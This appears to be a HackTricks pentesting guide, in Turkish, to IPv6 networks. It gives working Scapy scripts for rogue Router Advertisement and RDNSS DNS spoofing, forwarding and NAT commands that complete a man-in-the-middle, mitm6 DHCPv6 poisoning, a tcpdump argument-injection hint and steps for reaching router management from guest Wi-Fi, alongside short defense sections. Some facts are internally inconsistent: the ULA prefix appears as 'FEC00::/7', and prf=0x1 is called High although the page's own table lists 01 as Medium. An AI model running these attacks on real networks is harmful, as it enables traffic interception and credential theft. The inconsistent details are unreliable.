Pentesting IPv6
Reading time: 13 minutes
tip
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking'i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter'da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.
IPv6 Temel Teorisi
Ağlar
IPv6 adresleri, ağ organizasyonunu ve cihaz etkileşimini geliştirmek için yapılandırılmıştır. Bir IPv6 adresi şu şekilde bölünmüştür:
- Ağ Ön Eki: Ağ segmentini belirleyen ilk 48 bit.
- Alt Ağ Kimliği: Ağ içindeki belirli alt ağları tanımlamak için kullanılan sonraki 16 bit.
- Arayüz Tanımlayıcı: Alt ağ içindeki bir cihazı benzersiz şekilde tanımlayan son 64 bit.
IPv6, IPv4'te bulunan ARP protokolünü atarken, iki ana mesajla ICMPv6'yı tanıtır:
- Komşu İsteği (NS): Adres çözümü için çoklu yayın mesajları.
- Komşu İlanı (NA): NS'ye veya kendiliğinden ilanlara yanıt olarak tekil yanıtlar.
IPv6 ayrıca özel adres türlerini de içerir:
- Döngü Geri Adresi (
::1
): IPv4'teki127.0.0.1
ile eşdeğer, ana bilgisayar içindeki iletişim için. - Bağlantı Yerel Adresleri (
FE80::/10
): Yerel ağ etkinlikleri için, internet yönlendirmesi için değil. Aynı yerel ağdaki cihazlar bu aralığı kullanarak birbirlerini keşfedebilirler.
Ağ Komutlarında IPv6'nın Pratik Kullanımı
IPv6 ağlarıyla etkileşimde bulunmak için çeşitli komutlar kullanabilirsiniz:
- Bağlantı Yerel Adresleri ile Ping:
ping6
kullanarak yerel cihazların varlığını kontrol edin. - Komşu Keşfi: Bağlantı katmanında keşfedilen cihazları görüntülemek için
ip neigh
kullanın. - alive6: Aynı ağdaki cihazları keşfetmek için alternatif bir araç.
Aşağıda bazı komut örnekleri bulunmaktadır:
ping6 –I eth0 -c 5 ff02::1 > /dev/null 2>&1
ip neigh | grep ^fe80
# Alternatively, use alive6 for neighbor discovery
alive6 eth0
IPv6 adresleri, yerel iletişim için bir cihazın MAC adresinden türetilebilir. Bilinen bir MAC adresinden Link-local IPv6 adresini türetmek için basitleştirilmiş bir kılavuz ve bir ağ içinde IPv6 adreslerini keşfetme yöntemleri ile IPv6 adres türlerine kısa bir genel bakış aşağıda verilmiştir.
MAC Adresinden Link-local IPv6 Türetme
Verilen bir MAC adresi 12:34:56:78:9a:bc
ile Link-local IPv6 adresini şu şekilde oluşturabilirsiniz:
- MAC'i IPv6 formatına çevirin:
1234:5678:9abc
fe80::
ekleyin ve ortasınafffe
yerleştirin:fe80::1234:56ff:fe78:9abc
- Soldan yedinci biti ters çevirin,
1234
'ü1034
olarak değiştirin:fe80::1034:56ff:fe78:9abc
IPv6 Adres Türleri
- Unique Local Address (ULA): Yerel iletişim için, kamu internet yönlendirmesi için tasarlanmamıştır. Ön ek:
FEC00::/7
- Multicast Address: Birden bire iletişim için. Multicast grubundaki tüm arayüzlere iletilir. Ön ek:
FF00::/8
- Anycast Address: Birden en yakın iletişim için. Yönlendirme protokolüne göre en yakın arayüze gönderilir.
2000::/3
küresel unicast aralığının bir parçasıdır.
Adres Ön Ekleri
- fe80::/10: Link-Local adresleri (169.254.x.x'e benzer)
- fc00::/7: Unique Local-Unicast (10.x.x.x, 172.16.x.x, 192.168.x.x gibi özel IPv4 aralıklarına benzer)
- 2000::/3: Küresel Unicast
- ff02::1: Multicast Tüm Düğümler
- ff02::2: Multicast Yönlendirici Düğümleri
Ağ İçinde IPv6 Adreslerini Keşfetme
Yol 1: Link-local Adresleri Kullanarak
- Ağ içindeki bir cihazın MAC adresini edinin.
- MAC adresinden Link-local IPv6 adresini türetin.
Yol 2: Multicast Kullanarak
- Yerel ağda IPv6 adreslerini keşfetmek için
ff02::1
multicast adresine ping gönderin.
service ufw stop # Stop the firewall
ping6 -I <IFACE> ff02::1 # Send a ping to multicast address
ip -6 neigh # Display the neighbor table
IPv6 Man-in-the-Middle (MitM) Saldırıları
IPv6 ağlarında MitM saldırılarını gerçekleştirmek için birkaç teknik bulunmaktadır, örneğin:
- ICMPv6 komşu veya yönlendirici reklamlarını sahtelemek.
- Yönlendirmeyi manipüle etmek için ICMPv6 yönlendirme veya "Paket Çok Büyük" mesajlarını kullanmak.
- Mobil IPv6'ya saldırmak (genellikle IPSec'in devre dışı bırakılmasını gerektirir).
- Sahte bir DHCPv6 sunucusu kurmak.
IPv6 Adreslerini Belirleme
Alt Alan Adlarını Keşfetme
IPv6 adresleriyle potansiyel olarak bağlantılı alt alan adlarını bulmak için bir yöntem, arama motorlarından yararlanmaktır. Örneğin, ipv6.*
gibi bir sorgu deseni kullanmak etkili olabilir. Özellikle, Google'da şu arama komutu kullanılabilir:
site:ipv6./
DNS Sorgularını Kullanma
IPv6 adreslerini tanımlamak için belirli DNS kayıt türleri sorgulanabilir:
- AXFR: Tam bir alan transferi talep eder, potansiyel olarak geniş bir DNS kayıt yelpazesini ortaya çıkarır.
- AAAA: Doğrudan IPv6 adreslerini arar.
- ANY: Tüm mevcut DNS kayıtlarını döndüren geniş bir sorgu.
Ping6 ile Sondaj Yapma
Bir organizasyona ait IPv6 adresleri belirlendikten sonra, ping6
aracı sondaj yapmak için kullanılabilir. Bu araç, belirlenen IPv6 adreslerinin yanıt verebilirliğini değerlendirmeye yardımcı olur ve ayrıca komşu IPv6 cihazlarını keşfetmeye de yardımcı olabilir.
IPv6 Yerel Ağ Saldırı Teknikleri
Aşağıdaki bölümler, aynı /64 segmenti içinde global bir ön ek bilmeden gerçekleştirilebilecek pratik katman-2 IPv6 saldırılarını kapsamaktadır. Aşağıda gösterilen tüm paketler link-local olup yalnızca yerel anahtardan geçer, bu da onları çoğu ortamda son derece gizli kılar.
Stabil Bir Laboratuvar İçin Sistem Ayarlamaları
IPv6 trafiği ile oynamadan önce, kendi testlerinizle zehirlenmemek ve büyük paket enjeksiyonu/sniffing sırasında en iyi performansı almak için kutunuzu güçlendirmeniz önerilir.
# Enable promiscuous mode to capture all frames
sudo ip link set dev eth0 promisc on
# Ignore rogue Router Advertisements & Redirects coming from the segment
sudo sysctl -w net.ipv6.conf.all.accept_ra=0
sudo sysctl -w net.ipv6.conf.all.accept_redirects=0
# Increase fd / backlog limits when generating lots of traffic
sudo sysctl -w fs.file-max=100000
sudo sysctl -w net.core.somaxconn=65535
sudo sysctl -w net.ipv4.tcp_tw_reuse=1
Pasif NDP & DHCPv6 Dinleme
Her IPv6 ana bilgisayar otomatik olarak birden fazla çoklu yayın grubuna katılır (ff02::1
, ff02::2
, …) ve SLAAC/NDP için ICMPv6 kullanır, bu nedenle tek bir paket göndermeden tüm segmenti haritalayabilirsiniz. Aşağıdaki Python/Scapy tek satırlık kod, en ilginç L2 mesajlarını dinler ve kimlerin kim olduğunu gösteren renkli, zaman damgalı bir günlük yazdırır:
#!/usr/bin/env python3
from scapy.all import *
from scapy.layers.dhcp6 import *
from datetime import datetime
from colorama import Fore, Style, init
import argparse
init(autoreset=True)
# Human-readable names for protocols we care about
DHCP6_TYPES = {
DHCP6_Solicit: 'Solicit',
DHCP6_Advertise: 'Advertise',
DHCP6_Request: 'Request',
DHCP6_Reply: 'Reply',
DHCP6_Renew: 'Renew',
DHCP6_Rebind: 'Rebind',
DHCP6_RelayForward:'Relay-Forward',
DHCP6_RelayReply: 'Relay-Reply'
}
ICMP6_TYPES = {
ICMPv6ND_RS: ('Router Solicitation', Fore.CYAN),
ICMPv6ND_RA: ('Router Advertisement', Fore.GREEN),
ICMPv6ND_NS: ('Neighbor Solicitation',Fore.BLUE),
ICMPv6ND_NA: ('Neighbor Advertisement',Fore.MAGENTA),
ICMPv6ND_Redirect:('Redirect', Fore.LIGHTRED_EX),
ICMPv6MLReport: ('MLD Report', Fore.LIGHTCYAN_EX),
ICMPv6MLReport2: ('MLD Report', Fore.LIGHTCYAN_EX),
ICMPv6MLDone: ('MLD Done', Fore.LIGHTCYAN_EX),
ICMPv6EchoRequest:('Echo Request', Fore.LIGHTBLACK_EX),
ICMPv6EchoReply: ('Echo Reply', Fore.LIGHTBLACK_EX)
}
def handler(pkt):
eth_src = pkt[Ether].src if Ether in pkt else '?'
eth_dst = pkt[Ether].dst if Ether in pkt else '?'
ip6_src = pkt[IPv6].src if IPv6 in pkt else '?'
ip6_dst = pkt[IPv6].dst if IPv6 in pkt else '?'
# Identify protocol family first
for proto,(desc,color) in ICMP6_TYPES.items():
if proto in pkt:
break
else:
if UDP in pkt and pkt[UDP].dport == 547: # DHCPv6 server port
for dhcp_t,name in DHCP6_TYPES.items():
if dhcp_t in pkt:
desc = 'DHCPv6 – '+name; color = Fore.YELLOW; break
else:
return # not a DHCPv6 message we track
else:
return # not interesting
print(color + f"[{datetime.now().strftime('%H:%M:%S')}] {desc}")
print(f" MAC {eth_src} -> {eth_dst}")
print(f" IPv6 {ip6_src} -> {ip6_dst}")
print('-'*60)
if __name__ == '__main__':
argp = argparse.ArgumentParser(description='IPv6 NDP & DHCPv6 sniffer')
argp.add_argument('-i','--interface',required=True,help='Interface to sniff')
argp.add_argument('-t','--time',type=int,default=0,help='Duration (0 = infinite)')
a = argp.parse_args()
sniff(iface=a.interface,prn=handler,timeout=a.time or None,store=0)
Sonuç: birkaç saniye içinde tam bir link-local topoloji (MAC ⇄ IPv6) elde edilir, IPS/IDS sistemlerini aktif taramalara dayalı olarak tetiklemeksizin.
Yönlendirici Reklamı (RA) Sahteciliği
IPv6 hostları, varsayılan ağ geçidi keşfi için ICMPv6 Yönlendirici Reklamlarına güvenir. Eğer sahte RA'ları, meşru yönlendiriciden daha sık enjekte ederseniz, cihazlar sessizce sizi ağ geçidi olarak seçecektir.
#!/usr/bin/env python3
from scapy.all import *
import argparse
p = argparse.ArgumentParser()
p.add_argument('-i','--interface',required=True)
p.add_argument('-m','--mac',required=True,help='Source MAC (will be put in SrcLL option)')
p.add_argument('--llip',required=True,help='Link-local source IP, e.g. fe80::dead:beef')
p.add_argument('-l','--lifetime',type=int,default=1800,help='Router lifetime')
p.add_argument('--interval',type=int,default=5,help='Seconds between RAs')
p.add_argument('--revert',action='store_true',help='Send lifetime=0 to undo attack')
args = p.parse_args()
lifetime = 0 if args.revert else args.lifetime
ra = (IPv6(src=args.llip,dst='ff02::1',hlim=255)/
ICMPv6ND_RA(routerlifetime=lifetime, prf=0x1)/ # High preference
ICMPv6NDOptSrcLLAddr(lladdr=args.mac))
send(ra,iface=args.interface,loop=1,inter=args.interval)
Gerçekten trafik yönlendirmek için yarışı kazandıktan sonra:
sudo sysctl -w net.ipv6.conf.all.forwarding=1
sudo ip6tables -A FORWARD -i eth0 -j ACCEPT
sudo ip6tables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
Router Advertisement Flags (M/O) & Default Router Preference (Prf)
Flag | Anlamı | İstemci Davranışı Üzerindeki Etkisi |
---|---|---|
M (Yönetilen Adres Yapılandırması) | 1 olarak ayarlandığında, host DHCPv6 kullanarak IPv6 adresini almalıdır. | Tüm adresleme DHCPv6'dan gelir – mitm6 tarzı zehirleme için mükemmel. |
O (Diğer Yapılandırma) | 1 olarak ayarlandığında, host yalnızca diğer bilgileri (DNS, NTP, …) almak için DHCPv6 kullanmalıdır. | Adres hala SLAAC üzerinden, ancak DNS DHCPv6 ile ele geçirilebilir. |
M=0 / O=0 | Saf SLAAC ağı. | Sadece RA / RDNSS hileleri mümkündür – DHCPv6 istemciler tarafından gönderilmeyecek. |
M=1 / O=1 | Karışık ortam. | Hem DHCPv6 hem de SLAAC kullanılır; sahtecilik için yüzey en büyüktür. |
Bir pentest sırasında, meşru RA'yı bir kez inceleyebilir ve hangi vektörün uygulanabilir olduğuna karar verebilirsiniz:
sudo tcpdump -vvv -i eth0 'icmp6 && ip6[40] == 134' # capture Router Advertisements
dump
içindeki flags [M,O]
alanını arayın – tahmin yapmaya gerek yok.
RA başlığı içindeki Prf (Router Preference) alanı, birden fazla ağ geçidi mevcut olduğunda sahte yönlendiricinizin ne kadar çekici göründüğünü kontrol eder:
Prf değeri | İkili | Anlamı |
---|---|---|
Yüksek | 10 | Müşteriler bu yönlendiriciyi herhangi bir Orta/Düşük olanlardan tercih eder |
Orta (varsayılan) | 01 | Neredeyse her meşru cihaz tarafından kullanılır |
Düşük | 00 | Daha iyi bir yönlendirici mevcut olmadığında seçilir |
Scapy ile paketi oluştururken bunu prf
parametresi aracılığıyla ayarlayabilirsiniz, yukarıda gösterildiği gibi (prf=0x1
→ Yüksek). Yüksek Prf, kısa bir aralık ve sıfırdan büyük bir ömür birleştirildiğinde, sahte ağ geçidinizin son derece kararlı olmasını sağlar.
RDNSS (DNS) Spoofing RA Üzerinden
RFC 8106, bir RA içinde Recursive DNS Server (RDNSS) seçeneği eklemeye izin verir. Modern işletim sistemleri (Win 10 ≥1709, Win 11, macOS Big Sur, Linux systemd-resolved, …) bunu otomatik olarak güvenilir kabul eder:
#!/usr/bin/env python3
from scapy.all import *
import argparse
p = argparse.ArgumentParser()
P = p.add_argument
P('-i','--interface',required=True)
P('--llip',required=True)
P('--dns',required=True,help='Fake DNS IPv6')
P('--lifetime',type=int,default=600)
P('--interval',type=int,default=5)
args = p.parse_args()
ra = (IPv6(src=args.llip,dst='ff02::1',hlim=255)/
ICMPv6ND_RA(routerlifetime=0)/
ICMPv6NDOptRDNSS(dns=[args.dns],lifetime=args.lifetime))
send(ra,iface=args.interface,loop=1,inter=args.interval)
Müşteriler, verilen süre boyunca DNS'inizi çözümleyici listelerine ekleyecek, değer süresi dolana kadar veya lifetime=0
geri alma işlemi gönderene kadar tam DNS kaçırma imkanı tanıyacaktır.
DHCPv6 DNS Spoofing (mitm6)
SLAAC yerine, Windows ağları genellikle DNS için durumsuz DHCPv6'ya dayanır. mitm6, Solicit
mesajlarına Advertise → Reply akışı ile otomatik olarak yanıt vererek 300 saniye boyunca DNS için yerel bağlantı adresinizi atar. Bu, aşağıdakileri açar:
- NTLM iletim saldırıları (WPAD + DNS kaçırma)
- Yönlendiricilere dokunmadan dahili ad çözümlemesini yakalama
Tipik kullanım:
sudo mitm6 -i eth0 --no-ra # only DHCPv6 poisoning
Savunmalar
- RA Guard / DHCPv6 Guard / ND İncelemesi yönetilen anahtarlarda.
- Sadece meşru yönlendiricinin MAC adresinin RA göndermesine izin veren Port ACL'leri.
- düşük oranlı RA'lar veya ani RDNSS değişiklikleri için izleme.
- Uç noktalarda IPv6'yı devre dışı bırakmak, genellikle modern hizmetleri bozup kör noktaları gizleyen geçici bir çözümdür - bunun yerine L2 filtrelemeyi tercih edin.
NDP Yönlendirici Keşfi Misafir/Kamu SSID'lerinde ve Yönetim Servisi Maruziyeti
Birçok tüketici yönlendiricisi, tüm arayüzlerde yönetim daemon'larını (HTTP(S), SSH/Telnet, TR-069, vb.) açığa çıkarır. Bazı dağıtımlarda, "misafir/kamu" SSID'si WAN/çekirdek ile köprülenmiştir ve yalnızca IPv6'dır. Yönlendiricinin IPv6'sı her önyüklemede değişse bile, NDP/ICMPv6 kullanarak güvenilir bir şekilde öğrenebilir ve ardından misafir SSID'sinden yönetim düzlemine doğrudan bağlanabilirsiniz.
Misafir/kamu SSID'sine bağlı bir istemciden tipik iş akışı:
- Tüm Yönlendiricilere çoklu yayın
ff02::2
üzerinden ICMPv6 Yönlendirici İsteği ile yönlendiriciyi keşfedin ve Yönlendirici İlanını (RA) yakalayın:
# Listen for Router Advertisements (ICMPv6 type 134)
sudo tcpdump -vvv -i <IFACE> 'icmp6 and ip6[40]==134'
# Provoke an RA by sending a Router Solicitation to ff02::2
python3 - <<'PY'
from scapy.all import *
send(IPv6(dst='ff02::2')/ICMPv6ND_RS(), iface='<IFACE>')
PY
RA, yönlendiricinin link-local ve genellikle bir global adres/ön ekini ortaya çıkarır. Sadece bir link-local biliniyorsa, bağlantıların bölge indeksini belirtmesi gerektiğini unutmayın, örneğin ssh -6 admin@[fe80::1%wlan0]
.
Alternatif: mevcutsa ndisc6 paketini kullanın:
# rdisc6 sends RS and prints RAs in a friendly way
rdisc6 <IFACE>
- Misafir SSID'si üzerinden IPv6 ile açığa çıkan hizmetlere erişin:
# SSH/Telnet example (replace with discovered address)
ssh -6 admin@[2001:db8:abcd::1]
# Web UI over IPv6
curl -g -6 -k 'http://[2001:db8:abcd::1]/'
# Fast IPv6 service sweep
nmap -6 -sS -Pn -p 22,23,80,443,7547 [2001:db8:abcd::1]
- Eğer yönetim kabuğu, bir sarmalayıcı (örneğin, tcpdump) aracılığıyla paket yakalama araçları sağlıyorsa, ek tcpdump bayraklarını (
-G/-W/-z
) geçirecek şekilde argüman/dosya adı enjeksiyonu için kontrol edin, böylece döndürme sonrası komut yürütmesi sağlanabilir. Bakınız:
Savunmalar/notlar:
- Yönetimi misafir/genel köprülerle bağlamayın; SSID köprülerinde IPv6 güvenlik duvarları uygulayın.
- Mümkünse misafir segmentlerinde NDP/RS/RA için hız sınırlaması ve filtreleme uygulayın.
- Ulaşılabilir olması gereken hizmetler için kimlik doğrulama/MFA ve güçlü hız sınırlamaları zorunlu kılın.
Referanslar
- Legless – IPv6 Penetration Testing
- mitm6
- RFC 8106 – IPv6 ND DNS Configuration
- http://www.firewall.cx/networking-topics/protocols/877-ipv6-subnetting-how-to-subnet-ipv6.html
- https://www.sans.org/reading-room/whitepapers/detection/complete-guide-ipv6-attack-defense-33904
- Practical Guide to IPv6 Attacks in a Local Network
- FiberGateway GR241AG – Full Exploit Chain
tip
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking'i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter'da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.